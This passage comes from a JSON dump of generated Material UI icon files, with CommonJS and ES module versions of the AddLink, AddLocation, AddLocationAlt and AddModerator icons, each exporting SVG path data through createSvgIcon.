    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h6c.55 0 1 .45 1 1s-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1m11.93 1c.62 0 1.07-.59.93-1.19C21.32 8.62 19.35 7 17 7h-3.05c-.52 0-.95.43-.95.95s.43.95.95.95H17c1.45 0 2.67 1 3.01 2.34.11.44.47.76.92.76m-16.97-.62C4.24 9.91 5.62 8.9 7.12 8.9h2.93c.52 0 .95-.43.95-.95S10.57 7 10.05 7H7.22c-2.61 0-4.94 1.91-5.19 4.51C1.74 14.49 4.08 17 7 17h3.05c.52 0 .95-.43.95-.95s-.43-.95-.95-.95H7c-1.91 0-3.42-1.74-3.04-3.72M18 12c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1\"\n}), 'AddLinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m4 8h-3v3h-2v-3H8V8h3V5h2v3h3z\"\n}), 'AddLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m4 8h-3v3h-2v-3H8V8h3V5h2v3h3z\"\n}), 'AddLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2-9.75V7h3v3h2.92c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}), 'AddLocationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2-9.75V7h3v3h2.92c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}), 'AddLocationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m1-9.94v2.02A6.5 6.5 0 0 0 12 5c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14V11h2v.2c0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.34 0 .67.02 1 .06\"\n}), 'AddLocationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m1-9.94v2.02A6.5 6.5 0 0 0 12 5c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14V11h2v.2c0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.34 0 .67.02 1 .06\"\n}), 'AddLocationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 0c.55 0 1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1V5h-2c-.55 0-1-.45-1-1s.45-1 1-1h2V1c0-.55.45-1 1-1m-7 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.72-9.53c-.44.36-.72.91-.72 1.53 0 1.1.9 2 2 2h1v1c0 1.1.9 2 2 2 .32 0 .62-.08.89-.21.07.45.11.92.11 1.41 0 3.18-2.45 6.92-7.34 11.23-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2 4 5.22 7.8 2 12 2c.94 0 1.86.16 2.72.47\"\n}), 'AddLocationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 0c.55 0 1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1V5h-2c-.55 0-1-.45-1-1s.45-1 1-1h2V1c0-.55.45-1 1-1m-7 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.72-9.53c-.44.36-.72.91-.72 1.53 0 1.1.9 2 2 2h1v1c0 1.1.9 2 2 2 .32 0 .62-.08.89-.21.07.45.11.92.11 1.41 0 3.18-2.45 6.92-7.34 11.23-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2 4 5.22 7.8 2 12 2c.94 0 1.86.16 2.72.47\"\n}), 'AddLocationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2-9.75V7h3v3h2.92c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}), 'AddLocationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2-9.75V7h3v3h2.92c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}), 'AddLocationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M14 4.8V7h3v3h1.41q.09.585.09 1.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 16.99 5.5 13.77 5.5 11.2c0-3.84 2.82-6.7 6.5-6.7.7 0 1.37.1 2 .3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m2-9.75v2.08c-.62-.22-1.3-.33-2-.33-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14 0-.41-.03-.81-.1-1.2h2.02c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}, \"1\")], 'AddLocationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M14 4.8V7h3v3h1.41q.09.585.09 1.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 16.99 5.5 13.77 5.5 11.2c0-3.84 2.82-6.7 6.5-6.7.7 0 1.37.1 2 .3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1v3h3v2h-3v3h-2V6h-3V4h3V1zm-8 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m2-9.75v2.08c-.62-.22-1.3-.33-2-.33-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.79 6-9.14 0-.41-.03-.81-.1-1.2h2.02c.05.39.08.79.08 1.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 6.22 7.8 3 12 3c.68 0 1.35.08 2 .25\"\n}, \"1\")], 'AddLocationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6v3h3v2h-3v3h-2v-3H8V9h3V6zm5 4.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'AddLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6v3h3v2h-3v3h-2v-3H8V9h3V6zm5 4.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'AddLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7c0-.55-.44-1-1-1-.55 0-1 .44-1 1v2H9c-.55 0-1 .44-1 1 0 .55.44 1 1 1h2v2c0 .55.44 1 1 1 .55 0 1-.44 1-1v-2h2c.55 0 1-.44 1-1 0-.55-.44-1-1-1h-2zm-1-5c4.2 0 8 3.22 8 8.2 0 3.18-2.45 6.92-7.34 11.23-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2 4 5.22 7.8 2 12 2\"\n}), 'AddLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7c0-.55-.44-1-1-1-.55 0-1 .44-1 1v2H9c-.55 0-1 .44-1 1 0 .55.44 1 1 1h2v2c0 .55.44 1 1 1 .55 0 1-.44 1-1v-2h2c.55 0 1-.44 1-1 0-.55-.44-1-1-1h-2zm-1-5c4.2 0 8 3.22 8 8.2 0 3.18-2.45 6.92-7.34 11.23-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2 4 5.22 7.8 2 12 2\"\n}), 'AddLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6h-2v3H8v2h3v3h2v-3h3V9h-3zm-1-4c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'AddLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6h-2v3H8v2h3v3h2v-3h3V9h-3zm-1-4c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'AddLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6v3h3v2h-3v3h-2v-3H8V9h3V6zm5 4.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'AddLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6v3h3v2h-3v3h-2v-3H8V9h3V6zm5 4.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}, \"1\")], 'AddLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModerator.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.22 22.61c-.4.15-.8.29-1.22.39-5.16-1.26-9-6.45-9-12V5l9-4 9 4v6c0 .9-.11 1.78-.3 2.65-.81-.41-1.73-.65-2.7-.65-3.31 0-6 2.69-6 6 0 1.36.46 2.61 1.22 3.61M19 20v2.99s-1.99.01-2 0V20h-3v-2h3v-3h2v3h3v2z\"\n}), 'AddModerator');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModerator.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.22 22.61c-.4.15-.8.29-1.22.39-5.16-1.26-9-6.45-9-12V5l9-4 9 4v6c0 .9-.11 1.78-.3 2.65-.81-.41-1.73-.65-2.7-.65-3.31 0-6 2.69-6 6 0 1.36.46 2.61 1.22 3.61M19 20v2.99s-1.99.01-2 0V20h-3v-2h3v-3h2v3h3v2z\"\n}), 'AddModerator');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11.09v-4.7l6-2.25 6 2.25v3.69c.71.1 1.38.31 2 .6V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02-.79-.78-1.4-1.76-1.75-2.84C7.76 17.53 6 14.42 6 11.09\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"1\")], 'AddModeratorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11.09v-4.7l6-2.25 6 2.25v3.69c.71.1 1.38.31 2 .6V5l-8-3-8 3v6.09c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02-.79-.78-1.4-1.76-1.75-2.84C7.76 17.53 6 14.42 6 11.09\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V20h-1v-2.5H14v-1h2.5V14h1v2.5H20z\"\n}, \"1\")], 'AddModeratorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.08 0 2.09.25 3 .68v-4.3c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.17-.95-.17-1.4 0l-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02C10.8 20.71 10 18.95 10 17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2.5 5.5h-2v2c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-2h-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2v-2c0-.28.22-.5.5-.5s.5.22.5.5v2h2c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'AddModeratorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.08 0 2.09.25 3 .68v-4.3c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.17-.95-.17-1.4 0l-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91.03-.01.05-.02.08-.02C10.8 20.71 10 18.95 10 17c0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2.5 5.5h-2v2c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-2h-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2v-2c0-.28.22-.5.5-.5s.5.22.5.5v2h2c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'AddModeratorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddModeratorSharp.js",
